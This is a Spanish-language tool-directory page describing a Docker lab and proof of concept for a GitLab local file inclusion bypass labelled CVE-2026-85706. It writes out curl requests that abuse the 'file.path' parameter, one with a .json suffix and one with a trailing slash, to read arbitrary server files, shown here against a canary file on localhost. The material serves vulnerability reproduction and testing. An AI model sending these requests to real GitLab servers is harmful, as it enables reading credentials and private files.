Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-85706_docker_exp — Entorno de reproducción basado en Docker y PoC para CVE-2026-85706, que demuestra el bypass de LFI en GitLab mediante el sufijo .json y trucos de ruta con barra diagonal final. | Kitploit
Herramientas/GitHubGitHub/flowerwitch/cve-2026-85706_docker_exp
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónLabs y Práctica
GitHubflowerwitch/cve-2026-85706_docker_exp

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-85706_docker_exp

Entorno de reproducción basado en Docker y PoC para CVE-2026-85706, que demuestra el bypass de LFI en GitLab mediante el sufijo .json y trucos de ruta con barra diagonal final.

Ver Repositorio
hace 4h 23mAún no revisado

1. Descargar docker

root@kitploit:~
git clone  https://github.com/FlowerWitch/CVE-2026-85706_docker_exp
docker compose up -d
  1. Escribir la información de prueba LFI
root@kitploit:~
docker exec gitlab-vuln bash -c 'echo "SECRET-CANARY-85706-%%%" > /tmp/canary.txt'
  1. Leer y verificar
root@kitploit:~
# Método de omisión 1: sufijo .json
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits.json" \
  -H "Content-Type: application/json" \
  --data '{"file":"","file.path":"/tmp/canary.txt","file.size":1,"Content-Type":"application/x-www-form-urlencoded"}'

# Método de omisión 2: barra final
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits/" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data 'file=&file.path=/tmp/canary.txt&file.size=1&Content-Type=application/x-www-form-urlencoded'
image
Descargar herramienta